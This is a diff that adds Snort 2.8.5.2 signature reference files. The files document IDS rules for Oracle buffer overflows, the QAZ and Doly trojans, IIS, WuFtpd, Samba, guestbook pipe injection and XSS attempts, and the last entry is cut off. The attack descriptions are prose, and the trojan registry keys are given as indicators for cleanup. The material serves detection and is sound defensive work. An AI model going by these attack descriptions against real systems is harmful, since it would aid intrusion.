+Rule:  
+
+--
+Sid: 1693
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000115.txt
+++ snort-2.8.5.2/doc/signatures/100000115.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+100000115
+
+-- 
+Summary: 
+This event is generated when the PHP-Nuke program's Web_Links module is access 
+with a NULL value for the CID parameter.
+
+-- 
+
+Impact: 
+Sensitive path information may be disclosed, allowing an attacker to conduct 
+reconnaissance against the affected host.
+
+--
+Detailed Information:
+Queries made to PHP-Nuke's Web_Links module which omit the CID parameter, or 
+which leave its value blank, will generate an error that discloses sensitive 
+path information about the affected host.
+
+--
+Affected Systems:
+PHP-Nuke 6.0
+PHP-Nuke 6.5
+PHP-Nuke 6.5 RC1
+PHP-Nuke 6.5 RC2
+PHP-Nuke 6.5 RC3
+PHP-Nuke 6.5 BETA 1
+PHP-Nuke 6.5 FINAL
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser.
+-- 
+
+Ease of Attack: 
+Simple, as example exploit URIs exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+An unsupported fix exists at the URI referenced in the Additional References 
+section. No vendor-supplied patch or workaround exists.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+http://www.securityfocus.com/archive/1/321313
+
+--
--- snort-2.8.5.2.orig/doc/signatures/731.txt
+++ snort-2.8.5.2/doc/signatures/731.txt
@@ -0,0 +1,97 @@
+Rule:
+
+--
+Sid:
+731
+
+--
+Summary:
+QAZ is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes changes to the system registry.
+
+The Trojan changes system startup files and registry settings to add the QAZ sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	108	QAZ Worm Client Login access
+	731	Virus - Possible QAZ Worm (Indicates worm activity)
+	775	Virus - Possible QAZ Worm Infection (Indicates worm activity)
+	733	Virus - Possible QAZ Worm Calling Home (Indicates the worm is trying to send mail)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
+
+Registry keys added are:
+
+	StartIE=C:\WINDOWS\notepad.exe qazwsx.hsq
+
+This will start the Trojan each time notepad is executed.
+
+Look for the existence of the file note.com. The file notepad.exe may have been replaced with a Trojaned version that is approximately 120 kb in size (the original is 52 kb).
+
+A machine reboot is required to clear the existing process from running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS501
+http://www.whitehats.com/info/IDS498
+http://www.whitehats.com/info/IDS499
+
+McAfee
+http://vil.nai.com/vil/content/v_98775.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.hllw.qaz.a.html
+
+Diamond Computer Systems Security Advisory
+http://www.diamondcs.com.au/web/alerts/qaz.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2621.txt
+++ snort-2.8.5.2/doc/signatures/2621.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2621
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in useful
+tasks. The "register_flavor_change" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the second variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck97.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2751.txt
+++ snort-2.8.5.2/doc/signatures/2751.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2751
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_priority_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1726.txt
+++ snort-2.8.5.2/doc/signatures/1726.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1726
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2296.txt
+++ snort-2.8.5.2/doc/signatures/2296.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2296
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3046.txt
+++ snort-2.8.5.2/doc/signatures/3046.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3046
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2613.txt
+++ snort-2.8.5.2/doc/signatures/2613.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2613
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "revoke_surrogate_repcate" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "userid" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck97.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2658.txt
+++ snort-2.8.5.2/doc/signatures/2658.txt
@@ -0,0 +1,54 @@
+Rule: 
+
+--
+Sid: 
+2658
+
+-- 
+Summary: 
+This rule is intended to increase the accuracy of rules designed to
+generate events based on attempts to exploit implementations of Secure
+Socket Layer (SSL) version 2.
+
+-- 
+Impact: 
+None. This is a protocol decode rule that does not generate events.
+
+--
+Detailed Information:
+This is a protocol decode rule that does not generate events.
+
+--
+Affected Systems:
+NA
+
+--
+Attack Scenarios: 
+NA
+
+-- 
+Ease of Attack: 
+NA
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+NA
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2789.txt
+++ snort-2.8.5.2/doc/signatures/2789.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2789
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure obsolete_flavor_definition
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2886.txt
+++ snort-2.8.5.2/doc/signatures/2886.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2886
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure define_site_priority
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000454.txt
+++ snort-2.8.5.2/doc/signatures/100000454.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000454
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "KAPhotoservice" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "New Category" parameter in the "edtalbum.asp" 
+script used by the "KAPhotoservice" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using KAPhotoservice
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1781.txt
+++ snort-2.8.5.2/doc/signatures/1781.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+
+1781
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "dildo".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "dildo".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2390.txt
+++ snort-2.8.5.2/doc/signatures/2390.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2390
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with WuFtpd STOU command.
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+WuFtpd is an FTP server based on BSD ftpd. A vulnerability exists 
+with the STOU command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the STOU 
+command.
+
+The issue exists in the realpath() function. It is possible for an
+attacker to send malformed data to the realpath() function that will
+cause the overflow condition to occur.
+
+--
+Affected Systems:
+	Multiple systems using affected C libraries, libc
+
+--
+Attack Scenarios:
+An attacker can use one of the publicly available exploit scripts to
+cause the overflow to occur.
+
+--
+Ease of Attack:
+Simple.  Many exploits exist.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Use scp as an alternative to ftp
+
+Disallow ftp access to internal resources from external sources
+
+Recompile binaries statically linked to the system libc implementation
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2220.txt
+++ snort-2.8.5.2/doc/signatures/2220.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2220
+
+--
+Summary:
+This event is generated when an attempt is made to access simplestmail.cgi on an internal web server. This may indicate an attempt to exploit a remote command execution vulnerability in Leif M. Wright's Simple Guestbook.
+
+--
+Impact:
+Remote execution of arbitrary code, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+Leif Wright's Simple Guestbook uses a Perl script to manage web-based guestbook submissions. It improperly parses pipe metacharacters (|), allowing an attacker to place arbitrary shell commands between pipe characters in the guestbook value. These commands are then executed by the web server when it receives the request.
+
+--
+Affected Systems:
+Web servers running Leif M. Wright Simple Guestbook.
+
+--
+Attack Scenarios:
+An attacker uses a specially crafted value in the guestbook field between pipe characters. Any commands included in the value are executed with the security context of the web server.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses simplestmail.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable simplestmail.cgi. 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/2106
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3113.txt
+++ snort-2.8.5.2/doc/signatures/3113.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3113
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3039.txt
+++ snort-2.8.5.2/doc/signatures/3039.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3039
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1355.txt
+++ snort-2.8.5.2/doc/signatures/1355.txt
@@ -0,0 +1,47 @@
+Rule:
+
+--
+Sid:
+1349
+
+--
+Summary:
+Attempted /usr/bin/perl access via web
+
+--
+Impact:
+Attempt to execute a perl script on a host.
+
+--
+Detailed Information:
+This is an attempt to execute a perl script on a host. perl is a scripting language that is available on a wide variety of platforms. By default perl code runs with full access to all libraries and inbuilt commands available to the language. When combined with the access permissions of the user executing the script, the consequences of running arbitrary code can be devastating
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP transaction that includes a reference to perl in the URI.
+
+--
+Ease of Attack:
+Simple HTTP.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. perl may also be requested on a command line should the attacker gain access to the machine. Whenever possible, all perl scripts on the host should be written using the restriceted access mode. This forces perl to execute the scripts in a "sandbox" which will disallow unsafe operations in the code.
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1350
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119.txt
+++ snort-2.8.5.2/doc/signatures/119.txt
@@ -0,0 +1,93 @@
+Rule:
+
+--
+Sid:
+119
+
+--
+Summary:
+Doly is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine. Later versions are capable of launching DDoS attacks.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes changes to the system registry, Win.ini and System.ini. When first executed the Trojan replicates itself and in most cases, gives the copy a random name. This Trojan may use the file extensions ".exe" or ".dll".
+
+The Trojan changes system startup files and registry settings to add the Doly sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	119	Doly 2.0 access (outgoing TCP connection)
+	1985	Doly 1.5 server response (outgoing TCP connection)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CLASSES_ROOT\exefile\shell\open\command
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunServices
+	HKEY_LOCAL_MACHINE\Hardware\Data
+	HKEY_LOCAL_MACHINE\Hardware\Enum
+	HKEY_LOCAL_MACHINE\Software\Microsoft\DirectXMedia
+
+Registry keys added are:
+
+	HKEY_CLASSES_ROOT\.dl
+
